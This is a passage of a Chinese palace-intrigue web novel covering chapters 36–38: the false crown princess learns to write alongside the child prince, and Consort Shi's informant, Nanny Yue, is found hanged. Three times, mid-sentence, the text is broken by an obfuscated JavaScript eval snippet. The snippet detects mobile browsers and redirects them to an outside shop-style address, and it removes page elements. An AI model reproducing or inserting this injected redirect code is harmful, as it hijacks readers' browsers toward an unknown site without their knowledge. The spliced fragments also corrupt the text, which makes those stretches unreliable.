“是岳嬷嬷做的,她说娘娘贪嘴,不能多吃,不然容易坏牙。” 祝凝一说她便想起岳嬷嬷这个人。 自上次她来过以后,又老老实实待在小厨房干活,至今也没出什么岔子。 更何况见过以后,她觉得岳嬷嬷年纪大了,和那晚她遇见的人身形也对不上号,便没有继续追究,只吩咐祝凝多留个心眼。 “这宫里的人,心眼比我们多多了,你说这么多事情他们都能做得神不知鬼不觉的,没准哪天真能把我的真实身份查出来。” 祝凝忙安慰道:“不想不想,娘娘,你可千万别丧气,总有柳暗花明的一天。不然,咱们请霍夫人来东宫小坐,就说探望娘娘。” 叶小寻摇摇头:“若将来事情总有败露的一天,这会害了霍夫人,还会牵连霍家。” 有种说不清道不明的感觉,事情如果走到这个地步,是她最不愿意见到的。 现在要紧的是见招拆招,如果是贵妃那边没有动静,他们也不好有什么动作。 小时候没有吃过上学堂的苦,现在要一口气补回来,对叶小寻来说还是有点太难了。 刚开始那几个简单的字还好,后面的字越来越复杂,她每天学得抓耳挠腮,实在苦不堪言。 但容慎教人毫不留情面,她也心知这样下去,她肯定跟不上容慎给她安排的进度,于是只能私自开小灶,下了课之后还得窝在花园小池塘边继续温习。 这一天,她蹲在角落里面悄悄温书。后头突然有一个稚嫩的声音问道:“你在这里干什么?” 东宫哪来的小孩子,唯一有可能的只有一个人,她看了看自己现在身上的素锦缎衣,反正也不像个主子模样,干脆回过头去拜了拜。 “奴婢见过顺王殿下。” 容恽奇道:“你居然知道我是顺王?” 叶小寻坦然道:“王爷现在在东宫开蒙,这是阖宫上下都知道的事情。嬷嬷们也吩咐了,如果见到了王爷殿下一定要好生服侍,请问王爷有什么吩咐?” 容恽到底是个小孩子,在燕安宫时哪有人会对他如此恭敬。 想来想去也只有一个嬷嬷看他年纪小,稍微怜惜一些。 剩下的都是看着贵妃的脸色行事。虽然不至于对他动辄打骂,但态度也没有好到哪里去就是了。 “那我,我……”容恽悄悄往寝宫里面看了看,叶小寻不动声色地挡住他的视线。 容恽道:“我肚子饿了,想吃点点心,你们这儿有吗?” 叶小寻苦笑两声。 现在哪是吃点心的时候,若是让师贵妃知道了她新认的儿子在我这儿,那我不得刮了一层皮。 叶小寻正冥思苦想如何拒绝,只见周嬷嬷急步走来。 “殿下,奴婢总算找到您了,您怎么就跑这儿来了。奴婢现在得赶紧送你回燕安宫了。” 虽然不知为何,叶小寻怎么看容恽的神情都像是松了一口气。 “那好吧,有劳嬷嬷了。”他回过头来对着叶小寻道,“你对我……本王态度不错,服侍得周到,本王赏你……一锭金子。” 他不知道宫里那些赏赐哪些好看,哪些贵重。 他只知道金子最有用了。 叶小寻暗自摇摇头,愈发觉得师贵妃这样把一个孩子卷进来,真是太不是个东西了。 师贵妃的做派实在令她不喜。这种不喜,在第二天达到了巅峰。 “你说什么?” 叶小寻只想掏掏耳朵,不可置信地听着祝凝带回来的消息。 “师贵妃说想出去安国寺为洛夫人祈福,已经跟皇帝请了旨意,接下来一个月顺王殿下要暂住在东宫。” “开什么玩笑?其他宫不也有妃子吗?为什么会寄住到东宫来?容慎还得把弟弟当儿子养吗?” 祝凝也觉得很难以置信,勉强道:“顺王殿下正是开蒙的阶段,若是去其他宫里来回折返,反而费时费力。不若直接暂住在东宫里,这样早课完了之后就在近旁温书。听说……原本殿下就承诺过会照看好顺王殿下的学业。” 她才不管那么多,这个事贵妃一定是故意的。 叶小寻这次还真猜准了。 师贵妃华服加身,准备好带去安国寺祈福一个月的箱笼足足三马车。 她对容恽做最后的嘱咐。 “连这点小事都做不好的话,你也算是废了,将来扶持你也没什么用,这是你最后的机会。要是没有抓到的什么把柄,后果你是知道的。” 容恽垂头丧气地低着头,心里想的却是另外的事儿。 “他们都说您要去给我母亲祈福,是真的吗?我也可以去吗?” 师贵妃的动作都停了,她用一种阴恻恻的眼神望着容恽,已经不需要说任何话,容恽立马跪下磕了几个响头。 “母妃恕罪,是儿臣不孝。儿臣会乖乖听话,在东宫认真读书,还请母妃莫要气坏了身子。” 师贵妃暗笑道,小孩子就是这样,不听话打几顿就乖了。总之只是个傀儡,听话就够了,旁的她也不多求。 打久了还是要给点蜜枣的。 师贵妃言笑晏晏道:“知道听话就好。待本宫多上几柱香,跟你母亲说说你在我这里表现很好,你母亲定能安心。对吧?” 这几日习字完全说不上其他话,容慎真的对这个弟弟非常上心。 若不是师贵妃抚养着容恽,她几乎要以为两人兄弟同心。 容恽被安排住在东宫的偏殿里。 最近也不怎么乱跑,似乎上一次跑到寝殿这边来真的是意外。 既然东宫进来了一个活祖宗,叶小寻也就老实了许多,只是偶尔会跟容慎提一嘴想要出宫的事情,她许久没有看到叶片儿他们了,甚是想念。还有枫娘的花,也不知道开了多少。 以防万一,容慎甚至不允许他们互通书信。 不过这一点倒是太子殿下多虑了。 就她现在大字不识几个的样子,哪像能写信的。 如果有一天自己真的能写信就好了,要是识字了,第一封信应该写给谁呢? 她坐在凉亭里,还在练字,好难,她又不是没见过学堂里的小公子们习字,一二三这种简单的笔画容慎是半点没打算教啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132744|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又开始走神,墨汁溅到了脸上都好毫无察觉。 “哈哈,你怎么成了小花猫呀?” 声音从一旁响起,给叶小寻惊得一颤。 “顺王殿下,你怎么又来了?” “还写字的吗?我看你是这个宫的主子吧?” “嗯……”叶小寻一时间也不知道怎么答话才好。 看着容恽天真烂漫的样子,她只觉得这样来斗去,实在太累了,都当好朋友不好吗? “又饿了吗?”叶小寻忽略他刚才的提问,因为不是很想继续骗他,可是不想对他坦白,毕竟他们不是站在一边的。 容恽点点头,今天有道菜是拔丝地瓜。小的时候跟娘亲一起吃地瓜都快吃吐了,看到这道菜就没有什么胃口,哪怕做成山珍海味,他也还是地瓜。所以他今天的早膳压根就没用多少,已经饿得前胸贴后背了。 “是啊,你们东宫的饭食不合胃口。”小孩子故意拿乔。 叶小寻听笑了,“既然这么不合胃口,那王爷还是回你的燕安宫去吃吧,吃完再回来也不迟。” 说罢,她转身就想走。 “等等,等等,”容恽着急了,赶紧拦住她,“我也没说不吃啊。” 小屁孩,还想跟我斗。 叶小寻沉浸在将了他一军的喜悦里,吩咐祝凝拿了些糕点过来。 东宫的小厨房自然也不会做什么稀世罕有的糕点,普普通通的宫廷糕点而已,燕安宫也经常会有。 但容恽今天是真的饿狠了点,才端上来他就觉得鼻间萦绕着一股珍馐香气,眼睛一眨不眨盯着食盒,就差要流口水了。 “吃饱了再跟我生气吧。” 她眼尖地锁定了龙井甜酥,十指大动,赶紧塞了一大块进嘴里,容恽看她吃得可开心,心动地问,“这个我没见过,好吃吗? 叶小寻塞了满嘴,没法开口,忙竖起两个大拇指表态。 容恽蠢蠢欲动,尝试性地也吃了一小口,然后果断埋头开动。 容慎回来就看到一大一小两个人坐在小池塘边吃糕点。 容恽还比较拘谨,叶小寻就比较大大咧咧了。 吃了满嘴,嘴角都是糕点的碎屑。 “殿下,这……属下监管不力,望殿下责罚。” 他只随殿下出了一趟宫,回来见这状况,也是一阵失语。 “无妨,三弟要在这暂住一个月,处处防着,她也不自在。” 他上前走到叶小寻身后,叶小寻只感到眼前被一片阴影笼罩住,唇边一暖。 是容慎在为她轻轻擦去唇角的残渣。 “嗯?你怎么回来了?” 容慎自然地收回手。 她还没来得及爬起来,容恽已经一骨碌起来还不忘拍拍衣摆的褶皱。 “皇兄。”他懦懦地叫了一声。 “嗯,”容慎漫不经心应了一声,“先生走后可有温书?” 容恽小脸一红,不知所措地揪紧袖摆。 “哎呀,一天到晚死读书,会变傻子的。”叶小寻吃到好吃的,心情好,摇了摇容慎的袖子替容恽说话。 容慎这下终于转头看她了:“你也是,可有温书?习字几页了?” 叶小寻:“……” 37. 第 37 章 她明明就只偷懒了这一下,怎么就这么倒霉被抓到了呢? 她不服! 习字从原本的十页生宣变成了二十页生宣,叶小寻愁眉苦脸地练字。 这不是最惨的,最惨的是罚她习字的这个人,现在正在盯着她写。 这下好了,连偷懒都不成。 “这里,你偏锋了。” 习字之时,来不得半点偷懒。 叶小寻只能认真写,但是只写字太乏味了。 她唉声叹气道:“其实我也不是完全不识大字的,我会背诗,你让我抄诗吧。” 容恽正坐在一旁看书呢,听到叶小寻这么说,他耳朵已经竖起来了。 容慎眉毛一挑,道:“我竟不知你还能吟诗作对?” 叶小寻谦虚道:“小意思,小意思,你看我这个提议怎么样?” 容慎一脸淡然,“只要是习字就行,看看你写的怎么样。” 叶小寻喜上眉梢,埋头奋笔疾书起来,仿佛自己当真能写。 这可给容恽好奇坏了,连书也不想看了,趴在案前看她写字。 等字一个个成形,容恽咦了一声,慢慢读出声来:“一片两片三四片。一片两片三四片。一片两片……太子妃嫂嫂怎么只会这一句啊?” 叶小寻丝毫没有被拆穿的窘迫,轻轻咳了一声:“嘴巴闭上。” 容恽当真捂住了嘴。 等一大一小一起习字之后,才发现两个人进度和水平都差不多。 但是叶小寻嘛,毕竟从小就没有上学堂的机会,倒也不觉得和一个小孩子一起习字有什么害臊的。 容恽看着比较沉稳,但其实私底下也还是个孩子,叶小寻这里稍微有点好吃的都能把他勾过来。 他和叶小寻一起喜欢上了龙井甜酥,岳嬷嬷看现在又多了一张嘴,每天便多做了一些。 可只要有这道甜点,叶小寻就不吃其他的了,所以她也不做太多,每天四块,不多不少。 从前确实是祝凝陪伴得多,但是祝凝老是惦记着规矩方圆,叶小寻跟她一起玩,这也不是,那也不行,并不能很自在。 容恽就不同了,到底是个小孩子,叶小寻闲来逗逗他,时间过得飞快,倒也不再三天两头嚷嚷着要出宫了。 转眼就到了师贵妃要回宫的日子,容恽看上去有些低落。 叶小寻习完字以后就一直在拨弄着容慎的棋盘,开玩笑似的对容恽道:“一直都是我们两个每人两块龙井甜酥,今天我多分你一块,以后也都多给你一块,你以后干脆就住东宫行不行?” 容恽吓了一跳,卯足了劲,认真思考叶小寻的提议。 叶小寻乐得揉了揉他的脑袋,“还真想到这里来呀,不若我让岳嬷嬷走一趟,跟你一起回燕安宫,把龙井甜酥的方子交给你们燕安宫的炊事嬷嬷,你看怎么样?” 容恽撅着小嘴,闷闷不乐地嗯了一声,看起来不太高兴。 师贵妃回宫的阵仗,可谓是空前绝后,宫人们排成了两排恭恭敬敬地跪迎座驾。 今日大概连冷宫里的蚂蚁都能知道师贵妃回宫了吧。 队伍路过了坤宁宫。 “慢着。”她突然发话,队伍在坤宁宫前稳稳停了下来。 贵妃拨开帷幕,深深地望向那巍峨的宫殿。 多少年了,她一直想着何事自己能入主坤宁宫。 这一回恐怕是真的能如愿了吧。 放下帘子,她扬声道:“接着走吧。” 祝凝带回来消息,师贵妃已经回宫,看来马上就会派人把顺王殿下接回去。容恽在这边住了一个月,真让他回去,他有点不情愿了。 他的那个偏殿总是冷冷清清的,什么都没有。他不想回去,他觉得东宫这里就很好,有人陪他,有好吃的好玩的。太子哥哥也不像贵妃娘娘莫非说的那么凶神恶煞,教他功课都很耐心,进来之前他总觉得他是要进一座炼狱,但真正和里面的人相处下来,他觉得里面的人都很好,他喜欢这里,不想走。 可他也不是不知道,宫里的事情是由不得他任性的。 母妃总说等以后他有权了,想做什么就做什么,他也不知道是不是真的。 但是如果这件事情要伤害到太子哥哥的话,他有点不想做。 他不想去伤害太子哥哥,因为对他好的人本来就不多。 叶小寻当真吩咐了岳嬷嬷跟他一起回燕安宫。 岳嬷嬷看他的眼神有点奇怪,似乎不是很喜欢他。 但嬷嬷礼数周到,他也说不上来这种被讨厌的感觉是从何而来。 岳嬷嬷一路上不言不语,只在到了宫门口的时候轻声说了一句:“顺王殿下,燕安宫到了。” 出来的小宫女见到岳嬷嬷,突然有些受到了惊吓,匆匆忙忙关了门,说是要去通报一下。 岳嬷嬷神色淡定,并没有表现出什么来。 没过多久小宫女又折返回来,这一次她打开了门,让容恽和岳嬷嬷一同进去,到了正殿,他这才发现母妃的脸色黑得像早上习字用的墨,连他的请安都没听到。 但是这股神情不是针对他的,而是看着他身边的岳嬷嬷。 他有点摸不着头脑了,母妃认识越嬷嬷?可是岳嬷嬷是东宫的炊事嬷嬷,她们彼此又怎么会认识呢?他想不明白。 岳嬷嬷开口道:“奴婢给贵妃娘娘请安。顺王殿下在东宫时喜爱吃龙井甜酥,阖宫之中,只有奴婢会做这一道糕点,所以太子妃娘娘便遣奴婢前来教小厨房的炊事嬷嬷做这道糕点,这样一来顺王殿下想吃的时候,也不需要特地跑去东宫了。” 师贵妃不动声色地勾起唇角道:“如果因为一点小零嘴便不愿意回来,那就证明我养了一头白眼狼,不回来也罢。” 说完她还在盯着岳嬷嬷,唤了个宫女进来:“来啊,将殿下带去休息,别忘了让殿下继续温书。” 容恽走后,岳嬷嬷依然保持着刚才行礼的姿势,低着头,身躯却比挺得笔直,不卑不亢。 师贵妃良久才开口道:“岳嬷嬷真是好生难请,以为要花许多功夫,没想到却跟顺王殿下一起来了,看来还是本宫的面子不够,才请不动岳嬷嬷你呀。” 岳嬷嬷淡然道:“奴婢不敢当,承蒙娘娘错爱,奴婢才疏学浅,只略懂一些皮毛罢了,若要成为娘娘的一大助力,奴婢还不够资格。说到底,还是奴婢没有伺候娘娘的福分。” 从前在东宫之中,谁也没有察觉岳嬷嬷是嘴皮子如此厉害的一个角色。 师贵妃被她架着,罚也不是,打也不是,气急败坏道: “从前想吩咐你你不来,怎么今天又来自投罗网?是想好了吗?” 岳嬷嬷微不可见地点了点头道:“奴婢其实早就想好了,贵妃娘娘应该也知道奴婢的答案。是贵妃娘娘非要强求,才让彼此弄得如此难看,还望娘娘早日释怀。” 释怀?师贵妃给气笑了,她居然被一个奴才训话,让她释怀。 他冷静下来,又是那个高高在上的师贵妃。 “岳嬷嬷恐怕是老糊涂了,你弟弟的病,只有本宫找的人能治。你连自己亲人的命都不在乎吗?” 岳嬷嬷突然眼皮子一掀,用一种难以言喻的眼神深深看了师贵妃一眼。 “承蒙贵妃娘娘关心,贵妃娘娘近日在安国寺里日日诵经祈福,在外面的消息恐怕不太灵通。奴婢的弟弟早已在十日之前病入膏肓,药石无医,已经去世,若贵妃娘娘还要拿此事威逼,恐怕是找错人了。” “什么?”师贵妃惊讶着,风平浪静的脸这个表情怎么看也不像是刚死了弟弟的,这不可能。 她派出去的探子并没有向她汇报这个事情,难道是什么地方出了差错?不对,她怎能就这么如此轻信于这个嬷嬷呢?那也不一定是真的呀。 贵妃现在笃定了岳嬷嬷想诈她,她有一些焦躁了。 岳嬷嬷倒是也不怕,这种事情哪是可以乱说的,岳嬷嬷道:“奴婢有没有乱说,娘娘不妨换一批人去探一探呢?” 她站起身来,不卑不亢道:“如果娘娘没有其他吩咐,奴婢就要去教炊事馍馍做甜点了,如果天黑之前奴婢没有回去,闹到太子妃来东宫要人,总不是好事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132745|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟奴婢是东宫的奴才。” 师贵妃坐在软榻上,手里的帕子绞了又松松了又绞。 “来人,帮我送封信。” 岳嬷嬷并未有其他动作,规规矩矩地把该教的教完,不到酉时遍回东宫了。 师贵妃防着岳嬷嬷,她在的时候自然是没有跟容恽说过半句话。 此刻她心里怀疑的眼线已经走了,她才把容恽招呼过来。 “儿臣见过母妃。”容恽行礼道。 “起来吧,”贵妃漫不经心地挑弄者护甲,“说说吧,这一个月过得如何?” “是,回母妃的话,这个月儿臣把《三百千》背熟了,先生开始教儿臣孔孟,现在正背到了……” 他还在一五一十向师贵妃讲述自己这一个月的见闻,师贵妃可没有耐心听这些。 “本宫看你是太久没吃耳刮子,现在心痒了吧?” 容恽条件反射地缩起脖子。 那么痛苦的回忆他怎么可能忘? 可是他回想起这一个月和叶小寻度过的时光,心里有些难过,他为什么会要进宫来呢? 他以为在这里能有更好的生活,可是他错了,这里一点都不开心。 自从进宫以来,除了在东宫的这一个月,他就没有开心过。 他张张嘴,支支吾吾半晌,最后化成一句:“儿臣并没有发现东宫有什么特别之处。” 师贵妃闻言,一巴掌拍在了桌案上。 “没用的东西,你还记得我跟你说过什么吗?” 容恽当然记得,怎么可能忘记? 他扁扁嘴,良久,轻轻道:“回母妃的话,儿臣的确没有发现什么奇怪的地方。” 容慎居然如此会收买人心? 师贵妃的眼睛危险地眯起来,她不过短短离开一个月,他就能将容恽哄骗得如此忠心,真是有点本事。 意识到了这一点,师贵妃也不着急了,她施施然坐回去,靠着软垫慢声问道: “那你这一个月具体是怎么过的?说来听听。” 母妃居然没生气,这个认知让容恽稍微松了一口气。 还好,他刚刚差点以为他要被打死了。 容恽这才鼓起勇气,一五一十地跟师贵妃汇报情况,“其实每天就是读书写字,太子哥哥也一直在陪着我,这段时间他不怎么出门……” 师贵妃仔细听着,突然问了一句:“哦,是吗?那你们都在哪里上课呢?” 不明白师贵妃问这些的意图,容恽老老实实回答道:“先生上课在东宫的书房。” 师贵妃懒懒地应了一声,继续道:“哦,原来在书房,那习字也是在书房吗?” 容恽摇了摇头:“在太子妃娘娘那儿。” 师贵妃嘴角勾起一抹浅笑,小孩子就是好骗,只要稍微问一问话,就把事情全给掏出来了。 真是的,平时确实也没有必要和孩子置气。 她笑眯眯地问:“太子妃娘娘,她教你习字吗?否则你为什么要去她那儿?” 容恽懵懵懂懂地摇头,“不会,娘娘跟我一起练字呢。娘娘也练。” 师贵妃闻言,不动声色地晃了晃手中的茶杯慢慢道:“原来如此,那太子妃娘娘习哪些字呢?” 容恽答:“娘娘跟我一样练《三百千》,但是有的时候她还会自己写点简单的古诗呢,娘娘学得可快了。” 说完他才发现,师贵妃用一种似笑非笑的眼神看着他,看来是他说的太多了。 他丧气地底下脑袋。 “行了,早点休息吧,有月余没有回燕安宫,没准你还会认床呢,早点去适应适应比较好。” 容恽懵懵懂懂地被默默带下去了,心里还在想有没有给太子哥哥和太子妃嫂嫂惹麻烦。送走了容恽,师贵妃在软榻上若有所思,喃喃自语道:“《三百千》?” 这个真是个新鲜事,要知道太子妃乃将门嫡女,三岁便开始上学堂,学问自不比当朝男儿弱,怎么可能会念《三百千》呢? 里面定有蹊跷,只是一时半会儿想不明白,她还需试探几分。 38. 第 38 章 一场秋雨一场寒。 明明才刚过秋分,东宫的空气里却已渗进了一股子透骨的凉意。 最近宫里没什么活计,离中秋宫宴还有些时日,各宫都懒洋洋的。 可偏偏就在这时,东宫出了件蹊跷事儿。 小厨房那位负责灶火的岳嬷嬷,无缘无故上吊了。 事发得极为突然。 明明她那个一直病着的弟弟传来了好转的消息,她还特意向周嬷嬷讨了些红纸想剪窗花。 平日里总是紧绷着的一张脸,最近也舒展了不少,偶尔见了旁人还会笑着打个招呼。 怎么看,都不像是一心求死的样子。 可人就是没了。 东宫上下人心惶惶,都说岳嬷嬷是中邪了。 唯有叶小寻,自从半个月前那个雷雨夜,她嘴馋想去小厨房偷几块糕点,一推门撞见那双悬在半空的绣花鞋后,整个人就像是被抽去了魂魄。 …… “娘娘……您出来好不好?” 祝凝趴在地上,半个身子探进正殿那张八仙桌底下,声音里带着哭腔。 桌案底下,叶小寻正抱着膝盖蜷缩成小小的一团。 她脸色苍白如纸,素来灵动狡黠的眸子此刻一片死灰,毫无神采。 “娘娘,再怎么着也该吃点东西啊。”祝凝将一盘热腾腾的红枣糕往里推了推,“您看您,都两天没进食了。您这身子骨本来就没好利索,再这么熬下去,铁打的人也遭不住啊。” 叶小寻默默地听着,眼神空洞地盯着那盘糕点,没有半点反应。 她的脑子里全是那天晚上的画面。 那个晃悠悠的身影,那双死不瞑目的眼睛,还有…… 如果不让她去送容恽…… 如果那天多问她一句…… 是不是她就不会死? 她自幼跟着养父母行走江湖,偷过金银珠宝,偷过王侯印信,可她从来没想过,自己有一天会偷走一条人命。 这种负罪感,像是一块巨石,压得她喘不过气来。 “娘娘……”祝凝急得眼泪都要掉下来了。 她知道主子这次是真的被吓坏了。 江湖虽然险恶,但那都是明刀明枪的拼杀。 这种深宫之中兵不血刃的恐惧,足以摧毁一个人的心防。 “你先下去。” 一道低沉的声音在头顶响起。 祝凝浑身一震,连忙从地上爬起来,还没来得及行礼,就见一双绣着金线的黑靴大步流星地跨了进来。 容慎一身朝服未换,带着满身的寒气与风尘。 “殿下……”祝凝福了福身,眼圈红红的,“娘娘她……还是不肯出来,也不肯吃东西。” 容慎眉头紧锁,目光扫过桌上那些早已凉透的残羹冷炙,又看了看那张盖着锦缎桌布的八仙桌。 “这怎么行?” 他沉着脸,半晌,他沉声吩咐道:“去,去燕安宫把那个会做龙井甜酥的嬷嬷请过来。” 祝凝正要领命,桌底下忽然传来一道幽幽的声音,沙哑得厉害: “已经过季了。” 容慎动作一顿。 祝凝也愣住了。 叶小寻的声音从桌布下闷闷地传出来:“现在的龙井茶叶已经是陈茶了,不香了,做出来也是苦的……我不吃。我什么都不想吃。” 容慎的心脏猛地抽了一下。 祝凝焦急地看向容慎,欲言又止:“殿下,奴婢方才去内务府,听那里的嬷嬷说……中秋宫宴的名单已经拟定好了。娘娘入宫三月有余,一直对外称病。若是这次宫宴再不露面,只怕……前朝后宫的非议能把东宫淹了。” 容慎闭了闭眼,微微颔首:“孤知道了。你先退下。” “是。”祝凝担忧地看了一眼桌底,一步三回头地退了出去,合上了殿门。 殿内陷入了一片死寂。 只有窗外的秋雨淅淅沥沥地打在芭蕉叶上,声声凄切。 他撩起蟒袍,单膝跪地,毫不在意地盘腿坐在了冰凉的金砖地上,正对着那个黑暗的角落。 他伸出手,并没有强行去拉她,只是将掌心向上,摊开在她的面前。 那只手上,之前受的伤已经结痂,留下一道狰狞的粉色疤痕。 “叶小寻。” 他轻声唤她的名字。 桌底下的人动了动,却没有出来。 “你是不是觉得,是你害死了岳嬷嬷?”容慎的声音很轻。 黑暗中,叶小寻的身体猛地颤抖了一下。 过了许久,她才带着哭腔,断断续续地说道:“那天……是我让她去送容恽的。我想试探师贵妃,我想抓内鬼……是我把她推进火坑的……” “不是你。” 容慎打断她,语气坚定而冷静,“早在她被师贵妃选中做这颗棋子的时候,她的结局就已经注定了。知道太多秘密的人,活不长。就算那天你不让她去,师贵妃也有一百种方法让她病故。” “可是……” “没有可是。”容慎身子前倾,探入桌底,一把抓住了她冰凉的手,用力握紧,“在这皇宫里,善心有时候是最无用的东西。你若真觉得愧疚,就该好好活着,把那个害死她的人揪出来,而不是躲在这里惩罚自己。” 他手上的温热源源不断地传递过去,叶小寻缓缓抬起头,那双红肿的眼睛里终于有了一丝焦距。 “出来。”容慎柔声道,“地上凉。” 叶小寻吸了吸鼻子,犹豫了片刻,终于慢吞吞地挪了出来。 刚一露头,便被容慎一把揽入怀中。 叶小寻一愣,力道松懈下来,整个人靠在容慎身上。 他说过不经过她允许不会碰她的,可是……这个拥抱让她感到前所未有的安心。 容慎一定是知道她需要这样的怀抱吧。 “容慎……”她把脸埋在他的颈窝里,眼泪瞬间把他的衣领晕湿了一大片,“我害怕……我真的害怕……那双鞋……一直在晃……” 容慎收紧手臂,一下一下轻拍着她的后背,任她尽情宣泄心中的悲愤。 …… 与此同时,燕安宫。 地龙烧得暖烘烘的,熏香甜腻得让人发昏。 “我就说吧。” 师贵妃慵懒地倚在贵妃榻上,嘴角挂着得意的笑。 “那把老骨头,知道得太多了。就算我大发慈悲放过她,相府那边也绝对不会留活口。沈相做事,向来比我干净利落。” 一旁的嬷嬷赔笑道:“娘娘说得是。那个岳氏死了一了百了,东宫那边就算想查,也是死无对证。现在好了,碍眼的人一个个都被送走了,娘娘在这宫里,也能睡个安稳觉了。” “哼,想跟本宫斗?”师贵妃将葡萄扔进嘴里,眼神阴毒,“那个贱人以为抓住了什么把柄?也不看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134091|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这宫里到底是谁说了算。” 正说着,殿外忽然传来一阵细微的脚步声。 有个宫女眼尖,低声喝道:“谁在那儿?!” 师贵妃眼神凌厉地扫过去。 只见厚重的帷幔后,探出一个小小的脑袋。 是容恽。 他穿着一身崭新的皇子常服,却依然显得有些局促。 手里紧紧攥着一张宣纸,正怯生生地站在那里。 “顺王?”师贵妃挑眉,眼中闪过一丝不耐烦,“你在这儿鬼鬼祟祟地做什么?” 容恽身子一僵,连忙走出来,规规矩矩地行了个礼,声音还有些稚嫩的颤抖: “回母妃的话。儿臣……儿臣今晨被先生夸奖了一番,说儿臣习字进步神速。儿臣心里高兴,便想将这张字帖拿来……分享给母妃看。” 说着,他将手中那张写生宣高举过头顶,眼神里满是讨好与期盼。 师贵妃冷冷地瞥了一眼那张纸,连手都没伸,只是嗤笑一声:“就这?几笔烂字也值得拿来显摆?看来那个夫子也是个没见过世面的,才会把你这种蠢才当宝。” 容恽的手僵在半空,眼里的光瞬间黯淡下去。 但他很快便低下了头,乖巧道:“是……母妃教训得是。儿臣日后定当加倍努力。若母妃没有别的吩咐,儿臣……就退下了。” “滚吧。”师贵妃挥了挥手,像是在赶一只苍蝇。 待容恽的身影消失在殿门口,一旁的宫女有些担忧地问道:“娘娘,顺王殿下最近……会不会太安静了些?以前还哭闹,现在每日上完课就回偏殿温书,也不出来玩耍,奴婢总觉得……” “觉得什么?”师贵妃白了她一眼,“安静还不好?难不成还要让他天天哭丧?不过是个黄口小儿,离了本宫他连饭都吃不上,还能翻出什么浪来?随他去吧。” 在她眼里,这不过是个用来固权的工具罢了。 只要听话,是个活的就行。 “对了。”师贵妃坐直了身子,问道,“这次中秋宫宴的账本做完了吗?怎么还没送来给本宫过目?” 一个负责内务的大宫女匆匆进来,在师贵妃耳边低语了几句: “娘娘,账本刚送来。另外……东宫那边也递了消息过来。” “哦?”师贵妃漫不经心地理了理袖口,“那个病秧子太子妃又怎么了?是不是又要告病不来了?” “回娘娘……”宫女面色古怪,“东宫传话来说,这次中秋宫宴,太子爷和太子妃会同席出席。” 师贵妃动作一顿,嘴角勾出一抹嘲讽的冷笑。 “同席?她居然敢出来?” 她像是听到了什么笑话,“这倒是难得。我还以为她要在那东宫里躲一辈子呢。” “不过……”宫女犹豫了一下,“东宫那边还特意嘱咐了,划掉了菜单上的几样发物,说是太子妃的身子骨还没痊愈,受不得刺激。” “哈!” 师贵妃笑出了声,眼底满是轻蔑,“身子骨还没好?东宫这也是久病成医了,今后干脆自个儿给自己治算了,还要什么太医?” 她站起身,走到铜镜前,看着镜中那个艳光四射的自己,幽幽道: “这太子妃入宫都三个月了,肚子一点动静都没有,身子还如此羸弱。这要是将来给太子出不了一儿半女的,怎么跟列祖列宗交代?再这么下去,恐怕陛下就得下旨让太子选侧妃了。”